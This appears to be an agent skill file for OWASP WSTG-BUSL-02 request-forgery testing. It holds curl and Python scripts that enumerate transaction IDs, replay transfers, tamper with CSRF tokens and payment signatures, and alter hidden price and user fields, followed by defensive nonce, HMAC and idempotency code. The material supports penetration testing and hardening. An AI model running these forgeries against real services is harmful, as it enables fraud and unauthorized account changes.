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基于 SOC 职业分类
正在显示 SKILL.md
| name | wstg-busl-02 |
| description | Test Ability to Forge Requests |
| category | business-logic |
| owasp_id | WSTG-BUSL-02 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["business-logic","workflow","abuse","wstg","busl"] |
| tech_stack | [] |
| cwe_ids | ["CWE-840"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-BUSL-02
Test Ability to Forge Requests
Request forgery testing examines whether an application properly validates the authenticity and integrity of requests. Attackers may attempt to forge requests by predicting parameters, manipulating tokens, replaying captured requests, or bypassing client-side controls. This test identifies weaknesses that allow attackers to submit unauthorized or manipulated requests that the application incorrectly accepts as legitimate.
| Component | Attack Vector |
|---|---|
| Session tokens | Prediction/brute-force |
| Transaction IDs | Sequential enumeration |
| CSRF tokens | Weak generation |
| Order references | Manipulation |
| Timestamps | Replay attacks |
# Capture and analyze a typical transaction
curl -s -X POST "https://target.com/api/transaction" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"transaction_id": "TXN-2024-00001",
"amount": 100,
"recipient": "user123",
"timestamp": "2024-01-01T10:00:00Z",
"signature": "abc123..."
}' -v
# Note:
# - Transaction ID format
# - Timestamp format
# - Signature/hash presence
#!/bin/bash
# Test sequential ID prediction
# If we have TXN-2024-00100, try nearby IDs
base_id=100
for offset in -5 -4 -3 -2 -1 1 2 3 4 5; do
test_id=$((base_id + offset))
padded_id=$(printf "%05d" $test_id)
response=$(curl -s "https://target.com/api/transactions/TXN-2024-$padded_id" \
-H "Authorization: Bearer $TOKEN" \
-w "\n%{http_code}")
status=$(echo "$response" | tail -1)
echo "TXN-2024-$padded_id: $status"
done
# Capture a valid request
curl -s -X POST "https://target.com/api/transfer" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"from": "account1",
"to": "account2",
"amount": 100,
"nonce": "abc123"
}' > original_response.txt
# Wait and replay the same request
sleep 5
curl -s -X POST "https://target.com/api/transfer" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"from": "account1",
"to": "account2",
"amount": 100,
"nonce": "abc123"
}' > replay_response.txt
# Compare responses - if both succeed, replay attack works
diff original_response.txt replay_response.txt
# Test CSRF token manipulation
# Get valid token
csrf_token=$(curl -s "https://target.com/form" | \
grep -oP 'name="csrf_token" value="\K[^"]+')
# Try with modified token
curl -s -X POST "https://target.com/api/action" \
-H "X-CSRF-Token: ${csrf_token}modified" \
-d "action=test"
# Try with empty token
curl -s -X POST "https://target.com/api/action" \
-H "X-CSRF-Token: " \
-d "action=test"
# Try without token
curl -s -X POST "https://target.com/api/action" \
-d "action=test"
# Try with old/expired token
curl -s -X POST "https://target.com/api/action" \
-H "X-CSRF-Token: old_captured_token" \
-d "action=test"
# If request has signature/hash
# Try without signature
curl -s -X POST "https://target.com/api/payment" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"amount": 100,
"to": "attacker"
}' # No signature field
# Try with empty signature
curl -s -X POST "https://target.com/api/payment" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"amount": 100,
"to": "attacker",
"signature": ""
}'
# Try modifying data while keeping old signature
curl -s -X POST "https://target.com/api/payment" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"amount": 10000,
"to": "attacker",
"signature": "valid_signature_for_different_amount"
}'
# Capture valid request with timestamp
valid_timestamp="2024-01-01T10:00:00Z"
# Test with future timestamp
curl -s -X POST "https://target.com/api/request" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{
\"action\": \"test\",
\"timestamp\": \"2099-01-01T10:00:00Z\"
}"
# Test with very old timestamp
curl -s -X POST "https://target.com/api/request" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{
\"action\": \"test\",
\"timestamp\": \"2000-01-01T10:00:00Z\"
}"
# Test without timestamp
curl -s -X POST "https://target.com/api/request" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{
\"action\": \"test\"
}"
# Hidden form field manipulation
# Original: <input type="hidden" name="user_id" value="123">
curl -s -X POST "https://target.com/profile/update" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "user_id=456&name=Attacker" # Changed user_id
# Price manipulation in hidden fields
curl -s -X POST "https://target.com/checkout" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "product_id=1&price=0.01&quantity=1"
# Referrer code manipulation
curl -s -X POST "https://target.com/register" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=test&referrer_id=admin"
| Tool | Description | Usage |
|---|---|---|
| Burp Suite | Request interception | Modify and replay |
| Burp Repeater | Request replay | Test manipulations |
| Postman | API testing | Collection-based tests |
| Tool | Description |
|---|---|
| Burp Sequencer | Token randomness analysis |
| hashcat | Hash cracking |
| CyberChef | Encoding/decoding |
#!/usr/bin/env python3
import requests
import time
from collections import Counter
class TokenAnalyzer:
def __init__(self, base_url, token):
self.base_url = base_url
self.headers = {"Authorization": f"Bearer {token}"}
def collect_tokens(self, endpoint, count=100):
"""Collect tokens for analysis"""
tokens = []
for _ in range(count):
response = requests.get(
f"{self.base_url}{endpoint}",
headers=self.headers
)
# Extract token from response
token = response.json().get('csrf_token')
if token:
tokens.append(token)
time.sleep(0.1)
return tokens
def analyze_patterns(self, tokens):
"""Analyze token patterns"""
results = {
"total": len(tokens),
"unique": len(set(tokens)),
"lengths": Counter(len(t) for t in tokens),
"prefixes": Counter(t[:4] for t in tokens),
}
# Check for sequential patterns
if len(tokens) >= 2:
try:
nums = [int(t, 16) for t in tokens]
diffs = [nums[i+1] - nums[i] for i in range(len(nums)-1)]
results["sequential"] = len(set(diffs)) == 1
except:
results["sequential"] = False
return results
def test_prediction(self, endpoint, known_token):
"""Test if next token is predictable"""
# If sequential, try to predict next
try:
current = int(known_token, 16)
predicted = hex(current + 1)[2:]
response = requests.post(
f"{self.base_url}{endpoint}",
headers={**self.headers, "X-CSRF-Token": predicted}
)
return response.status_code == 200
except:
return False
# Usage
analyzer = TokenAnalyzer("https://target.com", "auth_token")
tokens = analyzer.collect_tokens("/api/get-csrf")
analysis = analyzer.analyze_patterns(tokens)
print(analysis)
#!/usr/bin/env python3
import requests
import time
import json
def test_replay_attack(url, headers, data, delay_seconds=5):
"""Test if request can be replayed"""
# First request
response1 = requests.post(url, headers=headers, json=data)
result1 = {
"status": response1.status_code,
"success": response1.status_code == 200,
"response": response1.text[:500]
}
print(f"First request: {result1['status']}")
# Wait
time.sleep(delay_seconds)
# Replay same request
response2 = requests.post(url, headers=headers, json=data)
result2 = {
"status": response2.status_code,
"success": response2.status_code == 200,
"response": response2.text[:500]
}
print(f"Replay request: {result2['status']}")
# Check if replay succeeded
if result1["success"] and result2["success"]:
print("[VULNERABLE] Replay attack successful!")
return True
else:
print("[PROTECTED] Replay attack prevented")
return False
# Test
test_replay_attack(
"https://target.com/api/transfer",
{"Authorization": "Bearer token", "Content-Type": "application/json"},
{"from": "acc1", "to": "acc2", "amount": 100, "nonce": "test123"}
)
import secrets
from datetime import datetime, timedelta
class NonceManager:
def __init__(self):
self.used_nonces = {} # Use Redis in production
def generate_nonce(self, user_id):
"""Generate unique nonce for user"""
nonce = secrets.token_urlsafe(32)
self.used_nonces[nonce] = {
"user_id": user_id,
"created": datetime.utcnow(),
"used": False
}
return nonce
def validate_nonce(self, nonce, user_id):
"""Validate and consume nonce"""
if nonce not in self.used_nonces:
return False
nonce_data = self.used_nonces[nonce]
# Check ownership
if nonce_data["user_id"] != user_id:
return False
# Check if already used
if nonce_data["used"]:
return False
# Check expiration (e.g., 5 minutes)
if datetime.utcnow() - nonce_data["created"] > timedelta(minutes=5):
return False
# Mark as used
nonce_data["used"] = True
return True
import hmac
import hashlib
import json
def sign_request(data, secret_key):
"""Sign request data"""
# Canonical string representation
canonical = json.dumps(data, sort_keys=True)
signature = hmac.new(
secret_key.encode(),
canonical.encode(),
hashlib.sha256
).hexdigest()
return signature
def verify_signature(data, signature, secret_key):
"""Verify request signature"""
expected = sign_request(data, secret_key)
return hmac.compare_digest(signature, expected)
@app.route('/api/transaction', methods=['POST'])
def process_transaction():
data = request.json
signature = request.headers.get('X-Signature')
# Remove signature from data for verification
data_to_verify = {k: v for k, v in data.items() if k != 'signature'}
if not verify_signature(data_to_verify, signature, SECRET_KEY):
return jsonify({"error": "Invalid signature"}), 403
# Process transaction
return process(data)
from datetime import datetime, timedelta
def validate_timestamp(timestamp_str, max_age_seconds=300):
"""Validate request timestamp"""
try:
timestamp = datetime.fromisoformat(timestamp_str.replace('Z', '+00:00'))
now = datetime.now(timestamp.tzinfo)
age = abs((now - timestamp).total_seconds())
if age > max_age_seconds:
return False, "Request expired"
return True, None
except Exception as e:
return False, "Invalid timestamp format"
@app.route('/api/request', methods=['POST'])
def handle_request():
timestamp = request.json.get('timestamp')
valid, error = validate_timestamp(timestamp)
if not valid:
return jsonify({"error": error}), 400
# Process request
import redis
import secrets
redis_client = redis.Redis()
def generate_idempotency_key():
"""Generate unique idempotency key"""
return secrets.token_urlsafe(32)
def check_and_mark_processed(idempotency_key, ttl=3600):
"""Check if request was already processed"""
key = f"idempotency:{idempotency_key}"
# Try to set key (only succeeds if not exists)
if redis_client.setnx(key, "1"):
redis_client.expire(key, ttl)
return False # Not processed before
return True # Already processed
@app.route('/api/payment', methods=['POST'])
def process_payment():
idempotency_key = request.headers.get('Idempotency-Key')
if not idempotency_key:
return jsonify({"error": "Idempotency key required"}), 400
if check_and_mark_processed(idempotency_key):
# Return cached response or reject
return jsonify({"error": "Request already processed"}), 409
# Process payment
result = process_payment_logic(request.json)
return jsonify(result)
| Finding | CVSS | Severity |
|---|---|---|
| Replay attack on financial transactions | 9.8 | Critical |
| Predictable transaction IDs | 8.8 | High |
| Missing signature validation | 8.8 | High |
| Weak nonce/token generation | 7.5 | High |
| Timestamp validation bypass | 6.5 | Medium |
| CWE ID | Title | Description |
|---|---|---|
| CWE-352 | Cross-Site Request Forgery | Missing CSRF protection |
| CWE-294 | Authentication Bypass by Capture-replay | Replay attacks |
| CWE-330 | Use of Insufficiently Random Values | Predictable tokens |
| CWE-345 | Insufficient Verification of Data Authenticity | Missing integrity |
[ ] Request structure analyzed
[ ] Token randomness verified (Burp Sequencer)
[ ] Sequential ID prediction tested
[ ] Replay attacks tested
[ ] Timestamp validation tested
[ ] Signature/integrity checks tested
[ ] Hidden field manipulation tested
[ ] CSRF token validation tested
[ ] Nonce implementation verified
[ ] Client-side bypass tested
[ ] Findings documented
[ ] Remediation recommendations provided